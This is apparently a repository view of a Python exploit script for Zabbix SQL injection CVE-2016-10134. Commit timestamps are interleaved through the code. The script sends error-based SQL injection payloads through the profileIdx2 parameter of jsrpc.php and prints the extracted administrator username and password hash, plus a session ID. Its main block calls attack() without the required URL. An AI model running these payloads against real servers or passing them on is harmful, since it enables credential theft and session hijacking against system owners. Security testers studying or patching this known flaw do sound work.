Files
vulnerability-list/zabbix_vuln/zabbix_sql_CVE_2016_10134.py

50 lines
3.0 KiB
Python
Raw Normal View History

2018-11-19 20:00:02 +08:00
# -*- coding: utf-8 -*-
import re
import requests
2018-11-20 08:56:53 +08:00
'''
Usage:
moon.py -u zabbix http://x.x.x.x:xx
zabbix的 profileIdx2 参数存在问题存在sql注入
影响范围3.0.3 成功 3.2.6 失败
禁用guest账户升级版本
'''
2019-08-20 19:16:01 +08:00
2018-11-19 20:00:02 +08:00
def attack(URL):
print('[+]开始检测-zabbix_sql-CVE-2016-10134。[+]')
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
url = URL + "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
res = requests.get(url,headers=headers)
xresponse = res.text
2018-11-20 08:56:53 +08:00
print('访问URL成功开始进行zabbix_sql注入漏洞检测。')
2019-08-20 19:16:01 +08:00
except Exception:
2018-11-19 20:00:02 +08:00
print('[-]未发现zabbix_sql注入漏洞。')
else:
try:
url = URL + "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
res = requests.get(url, headers=headers)
response = res.text
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
print('管理员、用户名密码为:'+results[0])
2019-08-20 19:16:01 +08:00
except Exception:
2018-11-19 20:00:02 +08:00
print('[-]获取用户名及密码失败。')
try:
url = URL + "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
res = requests.get(url, headers=headers)
response = res.text
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
print('SessionID为' + results[0])
2019-08-20 19:16:01 +08:00
except Exception:
2018-11-19 20:00:02 +08:00
print('[-]获取SessionID失败。')
print('[+]检测结束-zabbix_sql-CVE-2016-10134。[+]')
print('\n')
if __name__ == '__main__':
2019-08-20 19:16:01 +08:00
attack()